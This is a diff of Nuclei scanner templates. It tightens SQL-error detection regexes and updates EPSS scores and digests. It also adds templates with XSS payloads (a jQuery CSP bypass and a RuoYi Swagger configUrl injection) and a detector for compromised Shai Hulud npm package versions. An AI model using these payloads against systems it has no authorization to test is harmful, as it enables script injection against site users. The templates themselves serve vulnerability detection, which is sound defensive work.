          # Sybase
-          - "Warning.*?\\Wsybase_"
+          - "Warning.{0,500}?\\Wsybase_"
          - "Sybase message"
-          - "Sybase.*?Server message"
+          - "Sybase.{0,500}?Server message"
          - "SybSQLException"
          - "Sybase\\.Data\\.AseClient"
          - "com\\.sybase\\.jdbc"
          # Ingres
-          - "Warning.*?\\Wingres_"
+          - "Warning.{0,500}?\\Wingres_"
          - "Ingres SQLSTATE"
-          - "Ingres\\W.*?Driver"
+          - "Ingres\\W.{0,500}?Driver"
          - "com\\.ingres\\.gcf\\.jdbc"
          # FrontBase
          - "Exception (condition )?\\d+\\. Transaction rollback"
@@ -177,7 +177,7 @@ http:
          - "(Semantic|Syntax) error [1-4]\\d{2}\\."
          # HSQLDB
          - "Unexpected end of command in statement \\["
-          - "Unexpected token.*?in statement \\["
+          - "Unexpected token.{0,500}?in statement \\["
          - "org\\.hsqldb\\.jdbc"
          # H2
          - "org\\.h2\\.jdbc"
@@ -230,8 +230,8 @@ http:
      - type: regex
        name: mysql
        regex:
-          - "SQL syntax.*?MySQL"
-          - "Warning.*?\\Wmysqli?_"
+          - "SQL syntax.{0,500}?MySQL"
+          - "Warning.{0,500}?\\Wmysqli?_"
          - "MySQLSyntaxErrorException"
          - "valid MySQL result"
          - "check the manual that (corresponds to|fits) your MySQL server version"
@@ -263,8 +263,8 @@ http:
      - type: regex
        name: postgresql
        regex:
-          - "PostgreSQL.*?ERROR"
-          - "Warning.*?\\Wpg_"
+          - "PostgreSQL.{0,500}?ERROR"
+          - "Warning.{0,500}?\\Wpg_"
          - "valid PostgreSQL result"
          - "Npgsql\\."
          - "PG::SyntaxError:"
@@ -279,13 +279,13 @@ http:
      - type: regex
        name: microsoftsqlserver
        regex:
-          - "Driver.*? SQL[\\-\\_\\ ]*Server"
-          - "OLE DB.*? SQL Server"
+          - "Driver.{0,500}? SQL[\\-\\_\\ ]*Server"
+          - "OLE DB.{0,500}? SQL Server"
          - "\\bSQL Server[^&lt;&quot;]+Driver"
-          - "Warning.*?\\W(mssql|sqlsrv)_"
+          - "Warning.{0,500}?\\W(mssql|sqlsrv)_"
          - "\\bSQL Server[^&lt;&quot;]+[0-9a-fA-F]{8}"
          - "System\\.Data\\.SqlClient\\.SqlException\\.(SqlException|SqlConnection\\.OnError)"
-          - "(?s)Exception.*?\\bRoadhouse\\.Cms\\."
+          - "(?s)Exception.{0,500}?\\bRoadhouse\\.Cms\\."
          - "Microsoft SQL Native Client error '[0-9a-fA-F]{8}"
          - "\\[SQL Server\\]"
          - "ODBC SQL Server Driver"
@@ -313,8 +313,8 @@ http:
        regex:
          - "\\bORA-\\d{5}"
          - "Oracle error"
-          - "Oracle.*?Driver"
-          - "Warning.*?\\W(oci|ora)_"
+          - "Oracle.{0,500}?Driver"
+          - "Warning.{0,500}?\\W(oci|ora)_"
          - "quoted string not properly terminated"
          - "SQL command not properly ended"
          - "macromedia\\.jdbc\\.oracle"
@@ -326,7 +326,7 @@ http:
      - type: regex
        name: ibmdb2
        regex:
-          - "CLI Driver.*?DB2"
+          - "CLI Driver.{0,500}?DB2"
          - "DB2 SQL error"
          - "\\bdb2_\\w+\\("
          - "SQLCODE[=:\\d, -]+SQLSTATE"
@@ -339,8 +339,8 @@ http:
      - type: regex
        name: informix
        regex:
-          - "Warning.*?\\Wifx_"
-          - "Exception.*?Informix"
+          - "Warning.{0,500}?\\Wifx_"
+          - "Exception.{0,500}?Informix"
          - "Informix ODBC Driver"
          - "ODBC Informix driver"
          - "com\\.informix\\.jdbc"
@@ -352,7 +352,7 @@ http:
        name: firebird
        regex:
          - "Dynamic SQL Error"
-          - "Warning.*?\\Wibase_"
+          - "Warning.{0,500}?\\Wibase_"
          - "org\\.firebirdsql\\.jdbc"
          - "Pdo[./_\\\\]Firebird"

@@ -362,7 +362,7 @@ http:
          - "SQLite/JDBCDriver"
          - "SQLite\\.Exception"
          - "(Microsoft|System)\\.Data\\.SQLite\\.SQLiteException"
-          - "Warning.*?\\W(sqlite_|SQLite3::)"
+          - "Warning.{0,500}?\\W(sqlite_|SQLite3::)"
          - "SQLITE_ERROR"
          - "SQLite error \\d+:"
          - "sqlite3.OperationalError:"
@@ -374,19 +374,19 @@ http:
      - type: regex
        name: sapmaxdb
        regex:
-          - "SQL error.*?POS([0-9]+)"
-          - "Warning.*?\\Wmaxdb_"
+          - "SQL error.{0,500}?POS([0-9]+)"
+          - "Warning.{0,500}?\\Wmaxdb_"
          - "DriverSapDB"
-          - "-3014.*?Invalid end of SQL statement"
+          - "-3014.{0,500}?Invalid end of SQL statement"
          - "com\\.sap\\.dbtech\\.jdbc"
-          - "\\[-3008\\].*?: Invalid keyword or missing delimiter"
+          - "\\[-3008\\].{0,500}?: Invalid keyword or missing delimiter"

      - type: regex
        name: sybase
        regex:
-          - "Warning.*?\\Wsybase_"
+          - "Warning.{0,500}?\\Wsybase_"
          - "Sybase message"
-          - "Sybase.*?Server message"
+          - "Sybase.{0,500}?Server message"
          - "SybSQLException"
          - "Sybase\\.Data\\.AseClient"
          - "com\\.sybase\\.jdbc"
@@ -394,9 +394,9 @@ http:
      - type: regex
        name: ingres
        regex:
-          - "Warning.*?\\Wingres_"
+          - "Warning.{0,500}?\\Wingres_"
          - "Ingres SQLSTATE"
-          - "Ingres\\W.*?Driver"
+          - "Ingres\\W.{0,500}?Driver"
          - "com\\.ingres\\.gcf\\.jdbc"

      - type: regex
@@ -411,7 +411,7 @@ http:
        name: hsqldb
        regex:
          - "Unexpected end of command in statement \\["
-          - "Unexpected token.*?in statement \\["
+          - "Unexpected token.{0,500}?in statement \\["
          - "org\\.hsqldb\\.jdbc"

      - type: regex
@@ -494,4 +494,4 @@ http:
          - "SQ200: No table "
          - "Virtuoso S0002 Error"
          - "\\[(Virtuoso Driver|Virtuoso iODBC Driver)\\]\\[Virtuoso Server\\]"
-# digest: 4b0a00483046022100fc7880d1ba52b68e380ae499d88bfb728689d1f8cf19a0b3614da15cff736951022100b90853b96511c04b6ca8fd4ebeaa539b9a100804e46acb3f5beb203f2ff7e575:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b3102693f70190b12ccb6f15140a61b65dd91c218b1e3ea99ea59e75ad8f03170220211591503e0603405ab968f481fb3f615c7c3deb8f5849ac281640b5011fcb30:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,63 @@
+id: jquery-cdn-csp-bypass
+
+info:
+  name: Content-Security-Policy Bypass - jQuery CDN
+  author: 0x_Akoko
+  severity: medium
+  description: |
+    CSP policy allows jQuery CDN which enables arbitrary JavaScript execution through vulnerable jQuery versions using parseHTML or $.get functions.
+  reference:
+    - https://www.doyler.net/security-not-included/csp-bypass-via-jquery
+    - https://github.com/jquery/jquery/issues/2432
+    - https://bugs.jquery.com/ticket/11974
+  metadata:
+    verified: true
+    max-request: 2
+  classification:
+    cwe-id: CWE-79
+  tags: xss,csp-bypass,jquery,vuln
+
+flow: http(1) && headless(1)
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "Content-Security-Policy"
+          - "code.jquery.com"
+        condition: and
+        internal: true
+
+headless:
+  - steps:
+      - action: navigate
+        args:
+          url: "{{BaseURL}}"
+
+      - action: waitdialog
+        name: jquery_csp_xss
+        args:
+          max-duration: 5s
+
+    payloads:
+      injection:
+        - '<script src="https://code.jquery.com/jquery-2.2.4.min.js"></script><script>$.get("data:text/javascript,alert(document.domain)")</script>'
+        - '<script src="https://code.jquery.com/jquery-1.12.4.min.js"></script><div id="x"></div><script>$("#x").html("<img src=x onerror=alert(document.domain)>")</script>'
+
+    fuzzing:
+      - part: query
+        type: replace
+        mode: single
+        fuzz:
+          - "{{url_encode(injection)}}"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "jquery_csp_xss == true"
+# digest: 490a0046304402204dfeb2253ed0a5f3116c1a890920e318b7cca28ac18dd4f56d191f812f2c8f4d022060844041558f1c64441b60814f110186e2c16d65f9778c121aaed40e886e5eda:922c64590222798bb761d5b6d8e72950
@@ -22,4 +22,4 @@ file:
          - 'InvalidOperationException'
          - 'UnauthorizedAccessException'
          - 'NotFound'
-# digest: 490a0046304402200d45946d82aebb91925570a0c2ee05fa5278b631f6ed6b000317ac82d0e6e49a022068b744df313e6d304d10ea2f4158601771e5393c94823f9e9583fb0cb954f493:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100de58c54ce8c6f5700c5ead0e1603478a9f36bfac9df080e0295d2b7506758d57022100da154a869059fd9d5dc541be9259deed9492691f62586f7b8e4ceb9e873f068a:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ file:
          - 'BadRequestError'
          - 'MongoError'
          - 'SequelizeDatabaseError'
-# digest: 4a0a00473045022100cd3bb9d459bd2c4ec3c0db814de6aa0eb197d97de6d7ad3ad836e92cbbb3f8d502202d7302d9d203b658655f8dd7a6d89d0098bc8346dab94037c444bed31798e92a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207e199cde6ace693b2f43539c2e252718232d3c8059092d3901e52f779053c48b022100e7cb1502fec95eb82e88e2a87460e65db1ad4bff70184e19164b83da50f27c6a:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,155 @@
+id: shai-hulud-supply-chain
+
+info:
+  name: Shai Hulud 2.0 - Supply Chain Malware Detection
+  author: princechaddha,wiz-research
+  severity: critical
+  description: |
+    Detects compromised npm packages from the Shai Hulud 2.0 supply chain attack discovered in November 2025.
+    The attack affected over 25,000 malicious repositories across approximately 350 GitHub users, targeting major organizations
+    including Zapier, ENS Domains, PostHog, Postman, AsyncAPI, Voiceflow, and BrowserBase. The malware executes during the
+    preinstall phase and performs credential theft, cloud resource access (AWS, Azure, GCP), and GitHub persistence through
+    self-hosted runners named 'SHA1HULUD'. Malicious versions were published between November 21-23, 2025.
+  reference:
+    - https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack
+    - https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
+    cvss-score: 9.6
+    cwe-id: CWE-1357
+  metadata:
+    verified: true
+    max-request: 1
+  tags: file,malware,supply-chain,npm,nodejs,shai-hulud
+
+file:
+  - extensions:
+      - json
+
+    extractors:
+      - type: regex
+        name: zapier-compromised
+        regex:
+          - '"@zapier/secret-scrubber":\s*"[^"]*1\.1\.[345][^"]*"'
+          - '"@zapier/ai-actions":\s*"[^"]*0\.1\.(18|19|20)[^"]*"'
+          - '"@zapier/babel-preset-zapier":\s*"[^"]*6\.4\.[123][^"]*"'
+          - '"@zapier/browserslist-config-zapier":\s*"[^"]*1\.0\.[345][^"]*"'
+          - '"zapier-platform-cli":\s*"[^"]*18\.0\.[234][^"]*"'
+          - '"zapier-platform-core":\s*"[^"]*18\.0\.[234][^"]*"'
+          - '"zapier-platform-schema":\s*"[^"]*18\.0\.[234][^"]*"'
+          - '"zapier-scripts":\s*"[^"]*7\.8\.[34][^"]*"'
+          - '"zapier-async-storage":\s*"[^"]*1\.0\.[123][^"]*"'
+
+      - type: regex
+        name: ensdomains-compromised
+        regex:
+          - '"@ensdomains/address-encoder":\s*"[^"]*1\.1\.5[^"]*"'
+          - '"@ensdomains/contracts":\s*"[^"]*1\.6\.1[^"]*"'
+          - '"@ensdomains/ensjs":\s*"[^"]*4\.0\.3[^"]*"'
+          - '"@ensdomains/content-hash":\s*"[^"]*3\.0\.1[^"]*"'
+          - '"@ensdomains/ens-avatar":\s*"[^"]*1\.0\.4[^"]*"'
+          - '"@ensdomains/blacklist":\s*"[^"]*1\.0\.1[^"]*"'
+          - '"@ensdomains/buffer":\s*"[^"]*0\.1\.2[^"]*"'
+          - '"@ensdomains/ccip-read-[^"]*":\s*"[^"]*0\.(0|1)\.\d+[^"]*"'
+          - '"@ensdomains/cypress-metamask":\s*"[^"]*1\.2\.1[^"]*"'
+          - '"@ensdomains/dnsprovejs":\s*"[^"]*0\.5\.3[^"]*"'
+          - '"@ensdomains/ens-test-env":\s*"[^"]*1\.0\.2[^"]*"'
+          - '"@ensdomains/ens-validation":\s*"[^"]*0\.1\.1[^"]*"'
+          - '"@ensdomains/mock":\s*"[^"]*2\.1\.52[^"]*"'
+          - '"@ensdomains/thorin":\s*"[^"]*0\.6\.51[^"]*"'
+          - '"@ensdomains/ui":\s*"[^"]*3\.4\.6[^"]*"'
+          - '"ethereum-ens":\s*"[^"]*0\.8\.1[^"]*"'
+          - '"crypto-addr-codec":\s*"[^"]*0\.1\.9[^"]*"'
+
+      - type: regex
+        name: posthog-compromised
+        regex:
+          - '"@posthog/agent":\s*"[^"]*1\.24\.1[^"]*"'
+          - '"@posthog/ai":\s*"[^"]*7\.1\.2[^"]*"'
+          - '"@posthog/cli":\s*"[^"]*0\.5\.15[^"]*"'
+          - '"@posthog/clickhouse":\s*"[^"]*1\.7\.1[^"]*"'
+          - '"@posthog/core":\s*"[^"]*1\.5\.6[^"]*"'
+          - '"@posthog/icons":\s*"[^"]*0\.36\.1[^"]*"'
+          - '"@posthog/wizard":\s*"[^"]*1\.18\.1[^"]*"'
+          - '"posthog-js":\s*"[^"]*1\.(167|168|169|297)\.\d+[^"]*"'
+          - '"posthog-node":\s*"[^"]*[45]\.(11|13|18)\.\d+[^"]*"'
+          - '"posthog-docusaurus":\s*"[^"]*2\.0\.6[^"]*"'
+          - '"posthog-react-native":\s*"[^"]*4\.(11|12)\.\d+[^"]*"'
+          - '"posthog-plugin-hello-world":\s*"[^"]*1\.0\.1[^"]*"'
+
+      - type: regex
+        name: postman-compromised
+        regex:
+          - '"@postman/csv-parse":\s*"[^"]*4\.0\.[345][^"]*"'
+          - '"@postman/node-keytar":\s*"[^"]*7\.9\.[456][^"]*"'
+          - '"@postman/tunnel-agent":\s*"[^"]*0\.6\.[567][^"]*"'
+          - '"@postman/aether-icons":\s*"[^"]*2\.23\.[234][^"]*"'
+
+      - type: regex
+        name: asyncapi-compromised
+        regex:
+          - '"@asyncapi/studio":\s*"[^"]*1\.0\.[23][^"]*"'
+          - '"@asyncapi/server-api":\s*"[^"]*0\.16\.(24|25)[^"]*"'
+          - '"@asyncapi/dotnet-rabbitmq-template":\s*"[^"]*1\.0\.[12][^"]*"'
+          - '"@asyncapi/go-watermill-template":\s*"[^"]*0\.2\.(76|77)[^"]*"'
+          - '"@asyncapi/java-template":\s*"[^"]*0\.3\.[56][^"]*"'
+          - '"@asyncapi/keeper":\s*"[^"]*0\.0\.[23][^"]*"'
+          - '"@asyncapi/php-template":\s*"[^"]*0\.1\.[12][^"]*"'
+          - '"@asyncapi/python-paho-template":\s*"[^"]*0\.2\.(14|15)[^"]*"'
+          - '"@asyncapi/web-component":\s*"[^"]*2\.6\.[67][^"]*"'
+          - '"@asyncapi/edavisualiser":\s*"[^"]*1\.2\.[12][^"]*"'
+          - '"asyncapi-preview":\s*"[^"]*1\.0\.[12][^"]*"'
+          - '"create-glee-app":\s*"[^"]*0\.2\.[23][^"]*"'
+
+      - type: regex
+        name: voiceflow-compromised
+        regex:
+          - '"@voiceflow/alexa-types":\s*"[^"]*2\.15\.(60|61)[^"]*"'
+          - '"@voiceflow/anthropic":\s*"[^"]*0\.4\.[45][^"]*"'
+          - '"@voiceflow/api-sdk":\s*"[^"]*3\.28\.(58|59)[^"]*"'
+          - '"@voiceflow/backend-utils":\s*"[^"]*5\.0\.[12][^"]*"'
+          - '"@voiceflow/base-types":\s*"[^"]*2\.136\.[23][^"]*"'
+          - '"@voiceflow/body-parser":\s*"[^"]*1\.21\.[23][^"]*"'
+          - '"@voiceflow/chat-types":\s*"[^"]*2\.14\.(58|59)[^"]*"'
+          - '"@voiceflow/common":\s*"[^"]*8\.9\.[12][^"]*"'
+          - '"@voiceflow/eslint-config":\s*"[^"]*7\.16\.[45][^"]*"'
+          - '"@voiceflow/general-types":\s*"[^"]*3\.2\.(22|23)[^"]*"'
+          - '"@voiceflow/google-types":\s*"[^"]*2\.21\.(12|13)[^"]*"'
+          - '"@voiceflow/runtime":\s*"[^"]*1\.29\.[12][^"]*"'
+
+      - type: regex
+        name: browserbase-compromised
+        regex:
+          - '"@browserbasehq/stagehand":\s*"[^"]*3\.0\.4[^"]*"'
+          - '"@browserbasehq/mcp-server-browserbase":\s*"[^"]*2\.4\.2[^"]*"'
+          - '"@browserbasehq/director-ai":\s*"[^"]*1\.0\.3[^"]*"'
+          - '"@browserbasehq/bb9":\s*"[^"]*1\.2\.21[^"]*"'
+          - '"@browserbasehq/mcp":\s*"[^"]*2\.1\.1[^"]*"'
+
+      - type: regex
+        name: accordproject-compromised
+        regex:
+          - '"@accordproject/concerto-analysis":\s*"[^"]*3\.24\.1[^"]*"'
+          - '"@accordproject/concerto-linter":\s*"[^"]*3\.24\.1[^"]*"'
+          - '"@accordproject/concerto-types":\s*"[^"]*3\.24\.1[^"]*"'
+          - '"@accordproject/template-engine":\s*"[^"]*2\.7\.2[^"]*"'
+
+      - type: regex
+        name: other-compromised-scoped
+        regex:
+          - '"@actbase/react-native-[^"]*":\s*"[^"]*[0-9]+\.[0-9]+\.[0-9]+[^"]*"'
+          - '"@antstackio/[^"]*":\s*"[^"]*[0-9]+\.[0-9]+\.[0-9]+[^"]*"'
+          - '"@clausehq/flows-step-[^"]*":\s*"[^"]*0\.1\.14[^"]*"'
+          - '"@dev-blinq/[^"]*":\s*"[^"]*1\.0\.[0-9]+[^"]*"'
+          - '"@kvytech/[^"]*":\s*"[^"]*0\.0\.[0-9]+[^"]*"'
+          - '"@lessondesk/[^"]*":\s*"[^"]*[0-9]+\.[0-9]+\.[0-9]+[^"]*"'
+          - '"@trigo/[^"]*":\s*"[^"]*[0-9]+\.[0-9]+\.[0-9]+[^"]*"'
+          - '"@varsityvibe/[^"]*":\s*"[^"]*[0-9]+\.[0-9]+\.[0-9]+[^"]*"'
+
+      - type: regex
+        name: malicious-indicators
+        regex:
+          - 'SHA1HULUD'
+          - 'SHAI-HULUD'
+          - 'shai-hulud'
+# digest: 4a0a00473045022044a941bb4a169ab032c61fda553bafea4f00744b398fd40ca246c31e0186b2cc022100ff6ac326626b807b20362c737941d4ef5931a724fdead3674149eaa8613009a4:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 4.3
    cve-id: CVE-2018-25031
    cwe-id: CWE-20
-    epss-score: 0.82992
-    epss-percentile: 0.99204
+    epss-score: 0.81926
+    epss-percentile: 0.99153
    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -54,4 +54,4 @@ headless:
        words:
          - "swagger"
        case-insensitive: true
-# digest: 4a0a00473045022005b4a5a79b3f973151dbb3802f919c82686117e8edfea85afff202b41656032c022100aa6200024fa06cfc357f2349f858d35952f5faafe4d1a1147bb0c88d00c94689:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c58a2db5549b42e824f47f6fd010205d520bca965d7a51d61885cc1ab366a550022100db7f453b735cd3ff2911a39652d1d34e88d1375aaea41875cf19e85abd105db6:922c64590222798bb761d5b6d8e72950
@@ -22,7 +22,7 @@ info:
    cve-id: CVE-2022-29455
    cwe-id: CWE-79
    epss-score: 0.69544
-    epss-percentile: 0.9858
+    epss-percentile: 0.98579
    cpe: cpe:2.3:a:elementor:website_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
@@ -52,4 +52,4 @@ headless:
        words:
          - "elementor"
        case-insensitive: true
-# digest: 4a0a00473045022100f22a52ac0d0b95ab9ac440f232a61b7557b6f0a93852b715cdbc192ae69546bf022004299197b47f78e9375c421e4276bdd47081133ac8c8bcd83807ddeb0d736833:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c8674b11802b1ae7904ea489b210bf456f2bff59c0ab8edc8aa7b7343c9c023f022077b203c5b2b587d3c862e3a1170cdf9cd8a26ab49123d1bd6021d81ccdd6703c:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,8 @@ info:
    cvss-score: 7.2
    cve-id: CVE-2024-29882
    cwe-id: CWE-79
-    epss-score: 0.02716
-    epss-percentile: 0.8541
+    epss-score: 0.02542
+    epss-percentile: 0.84972
  metadata:
    verified: true
    max-request: 1
@@ -46,4 +46,4 @@ headless:
          - "ConnectSRS</a>"
        condition: or
        case-insensitive: true
-# digest: 490a0046304402206655f02aeec984b381b710ea1a2620606ce47098a084c3fd71353e872304af7e02203647a412541a17ead0af483882725b00cc488b52151189736d5a5f33db696c16:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220073c85396fe93e046eb762b09bf6d0b916b1ce9c7a79e644434d9cbb9e4c633c02203d62e7a42b3d466e5736567f6f06d3b514fd55e8b770f9f47df2f77cf3aea721:922c64590222798bb761d5b6d8e72950
@@ -21,7 +21,7 @@ info:
    cvss-score: 7.2
    cve-id: CVE-2024-38526
    epss-score: 0.82064
-    epss-percentile: 0.99156
+    epss-percentile: 0.9916
  tags: cve,cve2024,supply-chain,polyfill,vkev,vuln
 headless:
  - steps:
@@ -60,4 +60,4 @@ headless:
          - "union.macoms.la"
          - "newcrbpc.com"
        part: urls
-# digest: 4a0a004730450221009817d6a9d65b634a4e224902dd8b44e957148f52219693a531d67d388e478b0002206948bdb80b1f005cc95ef69b09fe42ce4df874c3af898fdf5f188f7c2a629b26:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402203c7db50c71ce0bebfd969223f1334215867ed9d82b28e7c3bbe2bd3653ee9f95022052a1c2ed23d0e26b3ffd2d2ed3aef8491be0af8f6525b6e05216c4751d6c8d83:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
    - https://github.com/Sachinart/essential-addons-for-elementor-xss-poc/blob/main/poc.py
  classification:
    epss-score: 0.03281
-    epss-percentile: 0.86692
+    epss-percentile: 0.86755
  metadata:
    verified: true
    max-request: 1
@@ -42,4 +42,4 @@ headless:
        words:
          - "{{random_int}}"
        case-insensitive: true
-# digest: 4a0a004730450220010e1d86b6a985033f65b6c6a8d7d9ec8e019113ca16bbcc67704611e99b0572022100eb4836b0a39a4750b922b9b1ffef097d738492732756f0da1679a73a3301841f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220337222e3b2bd6d7c8f662ee5c18e8367ce8cf0a4bb2ab6f702df7a117f0002010221008da3ee67fa6dfda05b757839957744f3ac6804379dfd46365cf46b92cfc4791f:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,7 @@ info:
    cve-id: CVE-2025-25062
    cwe-id: CWE-79
    epss-score: 0.34064
-    epss-percentile: 0.96777
+    epss-percentile: 0.96788
    cpe: cpe:2.3:a:backdropcms:backdrop:*:*:*:*:*:*:*:*
  metadata:
    max-request: 7
@@ -186,4 +186,4 @@ headless:
        dsl:
          - reflected_text_xss_type
          - reflected_text_xss_message
-# digest: 4b0a004830460221009069c9ba70be9a6eb15a5e4e24c49b818c68b98ec32a9f2049d03f76fd5d08fe022100de30f1815f0674ee5764e873fa8cbd8b660f07f6ecf37a35238f0ea7f352299c:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022036e69341a5a2857bb9ec40715721a572962940ab9fa85b847f11dbafd09c17d40220022945479f3119bf2eb06f4024679f9c18072069ffb10b59a55896c04c660db6:922c64590222798bb761d5b6d8e72950
@@ -16,7 +16,7 @@ info:
    cve-id: CVE-2025-29927
    cwe-id: CWE-285
    epss-score: 0.9253
-    epss-percentile: 0.99723
+    epss-percentile: 0.9972
  metadata:
    vendor: vercel
    product: Next.js
@@ -55,4 +55,4 @@ headless:
          - "compare_versions(nextjs_version, '> 14.0.0', '< 14.2.25')"
          - "compare_versions(nextjs_version, '> 15.0.0', '< 15.2.3')"
        condition: or
-# digest: 4a0a0047304502210086a9e7d22dc13eb9e4ac7f015695d548e8d71b13bbc17a2d082659c29a4281ec022020d69b47547f7adb597b8f868ef1d7ecf7dfc0985d601e009db3a71f07fed6d0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100fd15ac0783f94950bded50facf9cbc51d6b7f43a3372c6b0fd81a5b2d9d4a9f0022029ca0dde1823d68bce0765e8423ffb219334f0acd062cd151430ef9581cc8428:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,46 @@
+id: CVE-2025-7901
+
+info:
+  name: yangzongzhuan RuoYi - DOM Based XSS
+  author: Nikhil Patidar
+  severity: medium
+  description: |
+    yangzongzhuan RuoYi = 4.8.1 contains a stored XSS caused by manipulation of the \"configUrl\" argument in /swagger-ui/index.html of Swagger UI, letting remote attackers execute scripts, exploit requires crafted request.
+  impact: |
+    Remote attackers can execute arbitrary scripts in users' browsers, potentially stealing data or performing actions on behalf of users.
+  remediation: |
+    Update to the latest version beyond 4.8.1.
+  reference:
+    - https://github.com/yangzongzhuan/RuoYi/issues/293
+    - http://nvd.nist.gov/vuln/detail/CVE-2025-7901
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: html:"RuoYi"
+  tags: cve,cve2025,headless,ruoyi,xss,swagger,vuln
+
+headless:
+  - steps:
+      - args:
+          url: '{{BaseURL}}/{{swagger_path}}'
+        action: navigate
+
+      - action: waitdialog
+        name: swagger_dom
+
+    payloads:
+      swagger_path:
+        - 'swagger-ui/index.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - swagger_dom == true
+
+      - type: word
+        part: body
+        words:
+          - "swagger"
+        case-insensitive: true
+# digest: 4b0a004830460221009ecd5197eef9ed20cb18d67be5f0545fec3f9c85791e170e52b203041b2018aa022100899745438e3e8675e941a5684feee8f968d289f557ae3cc21d124e8a9e2d6f24:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,8 @@ info:
    cvss-score: 6.1
    cve-id: CVE-2025-8191
    cwe-id: CWE-79
-    epss-score: 0.01057
-    epss-percentile: 0.76925
+    epss-score: 0.01236
+    epss-percentile: 0.7861
    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -65,4 +65,4 @@ headless:
        words:
          - "swagger"
        case-insensitive: true
-# digest: 4b0a00483046022100d99c7317d03e715cae53994e938f21295769cdd3fbc42f2c67d538e2c15aae67022100d7f1e39f297b3b8bf9c71c96b56a66df1609f15ab8c849e49cb282757cda8e92:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a56b4c33bf952dbfd4a267bf8bf5bb2d6c37993c090f72a9dd28332f2264be93022100be592d73391be3c499aacdd6c0046ba1ddd8b2e05efbd8a1b499d359101d1f6b:922c64590222798bb761d5b6d8e72950
@@ -69,4 +69,4 @@ Help us improve the credential stuffing templates by contributing new templates,

 Fix issues, add new templates, and update existing ones by submitting a pull request. Always adhere to the best practices for YAML syntax and ensure that your template is tested before submitting.

-Please refer to the template documentation to learn more about writing and submitting new templates to this repository: https://nuclei.projectdiscovery.io/templating-guide/
+Please refer to the template documentation to learn more about writing and submitting new templates to this repository: https://docs.projectdiscovery.io/templates/introduction
@@ -16,7 +16,7 @@ info:
    cvss-score: 5.3
    cve-id: CVE-2000-0114
    epss-score: 0.05458
-    epss-percentile: 0.89743
+    epss-percentile: 0.89819
    cpe: cpe:2.3:a:microsoft:internet_information_server:3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -59,4 +59,4 @@ http:
        group: 1
        regex:
          - 'version:([0-9.]+)'
-# digest: 4b0a004830460221008484a708fd4d3067c352c2c67509ef3b27ec12910eebffe1ec356da8cfdd56b4022100874c5d49d4a2ee0671fb034cd9dada3bb1543c455085258162bb87d868b1d650:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207e9fce2938f57554caecb55ef56590fe1ea41c406c309a9f8798f54f7aa48b3d02210089d46550452976b6c92cefbcb46c8cbb96b639a79e73f302e101aa3df0f2221d:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:N
    cvss-score: 6.4
    cve-id: CVE-2000-0760
-    epss-score: 0.33581
-    epss-percentile: 0.96736
+    epss-score: 0.33099
+    epss-percentile: 0.96708
    cpe: cpe:2.3:a:apache:tomcat:3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -55,4 +55,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100b9aeb0509a59df08e57ed34358daacec550b198785ebe5223b447ab887fa777302205670ae173e74e05c0da531098f6122c807d7d9c4925e27645cb678ccef7263bd:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a6bc32abf13503861c291509627f46f6dfb21ed3037d995806e64a4dab6d94970221008a156d7b89e61e2b6896b4d7e6b2bea41c44abb9848fac645e22fedce1ace055:922c64590222798bb761d5b6d8e72950
@@ -22,7 +22,7 @@ info:
    cve-id: CVE-2001-0537
    cwe-id: CWE-287
    epss-score: 0.93696
-    epss-percentile: 0.99835
+    epss-percentile: 0.99833
    cpe: cpe:2.3:o:cisco:ios:11.3:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -53,4 +53,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502207ff0ffe9bb97fae36466f7d15bca01fa512bd3706a808715e6f2d41d49647cc902210092c987ae4e1efb1a006f7f36bfd1572bb03bb710563669df3e787ad43cdadfda:922c64590222798bb761d5b6d8e72950
